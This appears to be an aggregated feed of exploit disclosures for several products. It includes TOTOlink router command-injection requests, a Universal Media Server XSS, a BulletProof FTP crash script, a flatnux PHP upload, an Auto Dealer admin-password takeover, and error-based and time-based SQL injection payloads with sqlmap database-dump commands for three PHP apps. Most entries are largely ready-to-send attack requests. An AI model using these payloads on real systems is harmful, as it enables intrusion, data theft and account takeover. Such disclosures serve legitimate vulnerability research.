TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the pppoeAcName parameter at /setting/setWanIeCfg.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取pppoeAcName参数下的内容传递给v35，之后将v35带入到Uci\_Set\_Str\_By\_Idx函数中

在Uci\_Set\_Str\_By\_Idx函数中，程序将a5带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setWanIeCfg",
"pppoeAcName":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2023-26978: ttt/28 at main · Am1ngl/ttt

TOTOlink A7100RU(V7.4cu.2313_B20191024) was discovered to contain a command injection vulnerability via the org parameter at setting/delStaticDhcpRules.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取org参数下的内容传递给v4，之后将v4带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"org":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2023-26848: ttt/23 at main · Am1ngl/ttt

Universal Media Server version 13.2.1 suffers from a cross site scripting vulnerability.

    # Exploit Title: Universal Media Server 13.2.1 Cross Site Scripting # Google Dork: NA# Date: 01/04/2023# Exploit Author: Yehia Elghaly - Mrvar0x# Vendor Homepage: https://www.universalmediaserver.com/# Software Link: https://www.universalmediaserver.com/download/# Version: 13.2.1# Tested on: Windows 7 / 10# CVE: N/ASummary: Universal Media Server is a free DLNA, UPnP and HTTP/S Media Server.Support all major operating systems, with versions for Windows, Linux and macOS.Description: The attacker can able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.: Reflected XSS found on the follwoing paths GET /%3Cscript%3Ealert('XSSYF')%3C/script%3E HTTP/1.1Host: 172.16.110.132:9001User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1[Affected Component]//about/accounts/actions/logs/player/settings/shared/v1/api/about/|echo

Universal Media Server 13.2.1 Cross Site Scripting

BulletProof FTP Server version 2019.0.0.51 suffers from a denial of service vulnerability.

    #Exploit Title: BulletProof FTP Server 2019.0.0.51 - Denial of Service#Discovery by: Yehia Elghaly - Mrvar0x#Discovery Date: 2023-03-31#Vendor Homepage: https://barcodemagic.com/#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download#Tested Version: 2019.0.0.51#Tested on: Windows 7 x86 #Steps To Crash:#Run: BulletProof_FTP_Server_2019.0.0.51.py#Open poc.txt and copy content to clipboard#Open BulletProof FTP Server - Select "Settings" > "SMTP"#"Email Server" select "Username" and Paste Clipboard#Click on "Test" -----> Crashedbuffer = "A" * 300payload = buffertry:    f=open("Poc.txt","w")    print "[+] Creating %s evil payload.." %len(payload)    f.write(payload)    f.close()    print "[+] File created!"except:    print "File cannot be created"

BulletProof FTP Server 2019.0.0.51 Denial Of Service

Unified Remote version 3.13.0 suffers from a remote code execution vulnerability.

Unified Remote 3.13.0 Remote Code Execution

flatnux version 2021-03.25 suffers from a remote code execution vulnerability.

    # Exploit Title: flatnux-2021-03.25 - Remote Code Execution (Authenticated)# Exploit Author: Ömer Hasan Durmuş# Vendor Homepage: https://en.altervista.org# Software Link: http://flatnux.altervista.org/flatnux.html# Version: 2021-03.25# Tested on: Windows/LinuxPOST/flatnux/filemanager.php?mode=t&filemanager_editor=ckeditor4&dir=misc/media/news&CKEditor=fckeditorsummary_en&CKEditorFuncNum=1&langCode=enHTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/109.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: multipart/form-data;boundary=---------------------------393526031113460918603940283286Content-Length: 413Origin: http://localhostConnection: closeReferer:http://localhost/flatnux/controlcenter.php?page___xdb_news=1&opt=fnc_ccnf_section_news&mod=news&mode=edit&pk___xdb_news=1&desc_=1&order___xdb_news=date&op___xdb_news=insnewCookie: fnuser=admin; secid=fe0d39d41d63bec72eda06bbc7942015; lang=en;ckCsrfToken=BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsbUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: iframeSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1-----------------------------393526031113460918603940283286Content-Disposition: form-data; name="upload"; filename="info.php"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------393526031113460918603940283286Content-Disposition: form-data; name="ckCsrfToken"BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsb-----------------------------393526031113460918603940283286--

flatnux 2021-03.25 Remote Code Execution

Auto Dealer Management System version 1.0 suffers from a broken access control vulnerability

# Exploit Title: Auto Dealer Management System 1.0 - Broken Access Control Exploit

It leads to compromise of all application accounts by accessing the ?page=user/list with low privileged user account

### Date:   
> 18 February 2023

### CVE Assigned: **[CVE-2023-0916](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0916)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0916) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0916)

### Author:   
> Muhammad Navaid Zafar Ansari  
### Vendor Homepage:  
> https://www.sourcecodester.com  
### Software Link:  
> [Auto Dealer Management System](https://www.sourcecodester.com/php/15371/auto-dealer-management-system-phpoop-free-source-code.html)  
### Version:  
> v 1.0  
### Broken Authentication:  
> Broken Access Control is a type of security vulnerability that occurs when a web application fails to properly restrict users' access to certain resources and functionality. Access control is the process of ensuring that users are authorized to access only the resources and functionality that they are supposed to. Broken Access Control can occur due to poor implementation of access controls in the application, failure to validate input, or insufficient testing and review.

# Tested On: Windows 11 

### Affected Page:  
> list.php , manage_user.php

> On these page, application isn't verifying the authorization mechanism. Due to that, all the parameters are vulnerable to broken access control and low privilege user could view the list of user's and change any user password to access it.

### Description:  
> Broken access control allows low privilege attacker to change password of all application users

### Proof of Concept:  
> Following steps are involved:  
1. Visit the vulnerable page: ?page=user/list  
2. Click on Action and Edit the password of Admin

![image](https://user-images.githubusercontent.com/123810418/219884701-0f1feb4f-6c8a-4299-b510-1762461910ee.png)

4. Update the Password and Submit

5. Request:  
```  
POST /adms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
Content-Length: 877  
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"  
Accept: */*  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfODLB5j55MvB5pGU  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/adms/admin/?page=user/manage_user&id=1  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=c1ig2qf0q44toal7cqbqvikli5  
Connection: close

------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="id"

1  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="firstname"

Adminstrator  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="middlename"

------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="lastname"

Admin  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="username"

admin  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="password"

admin123  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="type"

1  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream

------WebKitFormBoundaryfODLB5j55MvB5pGU--

```  
6. Successful exploit screenshots are below (without cookie parameter)  
![image](https://user-images.githubusercontent.com/123810418/219884923-5283fca6-d509-4c48-9db0-f61ea6dbb352.png)

7. Vulnerable Code Snippets:

![image](https://user-images.githubusercontent.com/123810418/219884994-e74d7d48-4d45-4135-9a38-45e26c65434b.png)

![image](https://user-images.githubusercontent.com/123810418/219885023-a76afbe0-88f0-4aaa-89cd-1e541e511427.png)

### Recommendation:  
> Whoever uses this CMS, should update the authorization mechanism on top of the  list.php , manage_user.php pages as per requirement to avoid a Broken Access Control attack

Thank you for reading for more demo visit my github: https://github.com/navaidzansari/CVE_Demo

Auto Dealer Management System 1.0 Broken Access Control

Intern Record System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Intern Record System v1.0 - SQL Injection (Unauthenticated)# Date: 2022-06-09# Exploit Author: Hamdi Sevben# Vendor Homepage: https://code-projects.org/intern-record-system-in-php-with-source-code/# Software Link: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip# Version: 1.0# Tested on: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53# CVE: CVE-2022-40347# References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40347https://github.com/h4md153v63n/CVE-2022-40347_Intern-Record-System-phone-V1.0-SQL-Injection-Vulnerability-Unauthenticated------------------------------------------------------------------------------------1. Description:----------------------Intern Record System 1.0 allows SQL Injection via parameters 'phone', 'email', 'deptType' and 'name' in /intern/controller.php Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latest vulnerabilities in the underlying database.2. Proof of Concept:----------------------In sqlmap use 'phone', 'email', 'deptType' or 'name' parameter to dump 'department' database. Then run SQLmap to extract the data from the database:sqlmap.py -u "http://localhost/intern/controller.php" -p "deptType" --risk="3" --level="3" --method="POST" --data="phone=&email=&deptType=test&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dumpsqlmap.py -u "http://localhost/intern/controller.php" -p "email" --risk="3" --level="3" --method="POST" --data="phone=&email=test&deptType=3&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dumpsqlmap.py -u "http://localhost/intern/controller.php" -p "name" --risk="3" --level="3" --method="POST" --data="phone=&email=&deptType=3&name=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dumpsqlmap.py -u "http://localhost/intern/controller.php" -p "phone" --risk="3" --level="3" --method="POST" --data="phone=test&email=&deptType=3&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dump3. Example payload:-----------------------1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%274. Burpsuite request on 'phone' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 317Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&email=&deptType=3&name=5. Burpsuite request on 'email' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 317Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=&email=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&deptType=3&name=6. Burpsuite request on 'deptType' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 316Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=&email=&deptType=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&name=7. Burpsuite request on 'name' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 317Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=&email=&deptType=3&name=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

Intern Record System 1.0 SQL Injection

Simple Task Managing System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Simple Task Managing System v1.0 - SQL Injection (Unauthenticated)# Date: 2022-01-09# Exploit Author: Hamdi Sevben# Vendor Homepage: https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/Task%20Managing%20System%20in%20PHP.zip# Version: 1.0# Tested on: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53# CVE: CVE-2022-40032# References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40032https://github.com/h4md153v63n/CVE-2022-40032_Simple-Task-Managing-System-V1.0-SQL-Injection-Vulnerability-Unauthenticated------------------------------------------------------------------------------------1. Description:----------------------Simple Task Managing System 1.0 allows SQL Injection via parameters 'login' and 'password' in /TaskManagingSystem/login.php Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latest vulnerabilities in the underlying database.2. Proof of Concept:----------------------In sqlmap use 'login' parameter or 'password' parameter to dump users table from 'tasker' database. Then run SQLmap to extract the data from the database:sqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "login" --risk="3" --level="3" --method="POST" --data="login=test&password=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dumpsqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "password" --risk="3" --level="3" --method="POST" --data="login=&password=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dump3. Example payload:-----------------------1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%274. Burpsuite request on 'login' parameter:----------------------POST /TaskManagingSystem/loginValidation.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 312Origin: http://localhostConnection: closeReferer: http://localhost/TaskManagingSystem/login.phpCookie: PHPSESSID=samt0gti09djsstpqaj0pg4ta8Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1login=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&password=P@ssw0rd!5. Burpsuite request on 'password' parameter:----------------------POST /TaskManagingSystem/loginValidation.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 307Origin: http://localhostConnection: closeReferer: http://localhost/TaskManagingSystem/login.phpCookie: PHPSESSID=samt0gti09djsstpqaj0pg4ta8Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1login=user&password=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

Simple Task Managing System 1.0 SQL Injection

A vulnerability was found in SourceCodester Simple Mobile Comparison Website 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/categories/view_category.php of the component GET Parameter Handler. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-225150 is the identifier assigned to this vulnerability.

**Simple Mobile Comparison Website v1.0 has SQL injection**

BUG\_Author:Zhang RuiMing

Website source address:https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html

Vulnerability File: /mcw/admin/categories/view\_category.php

GET parameter 'id' exists SQL injection vulnerability

Payload1:id=1' and (select 1 from(select count(\*),concat(0x61626364,(select (elt(111=111,1))),0x51525354,floor(rand(0)\*2))x from information\_schema.plugins group by x)a) and 'a'='a

    GET /mcw/admin/categories/view_category.php?id=1%27%20and%20(select%201%20from(select%20count(*),concat(0x61626364,(select%20(elt(111=111,1))),0x51525354,floor(rand(0)*2))x%20from%20information_schema.plugins%20group%20by%20x)a)%20and%20%27a%27=%27a HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: revenue[LastUrl]=%2Frates%2Fadmin%2Fsystem_settingslist.php; PHPSESSID=1n6947aiql2hh8itbuvff2apro
    Connection: close
    

Injection success based on errors

Payload2:id=1' and (select 1 from (select(sleep(20)))o) and 'o'='o

    GET /mcw/admin/categories/view_category.php?id=1%27%20and%20(select%201%20from%20(select(sleep(20)))o)%20and%20%27o%27=%27o HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: revenue[LastUrl]=%2Frates%2Fadmin%2Fsystem_settingslist.php; PHPSESSID=1n6947aiql2hh8itbuvff2apro
    Connection: close
    

Server response time is 20 seconds

Tag

#windows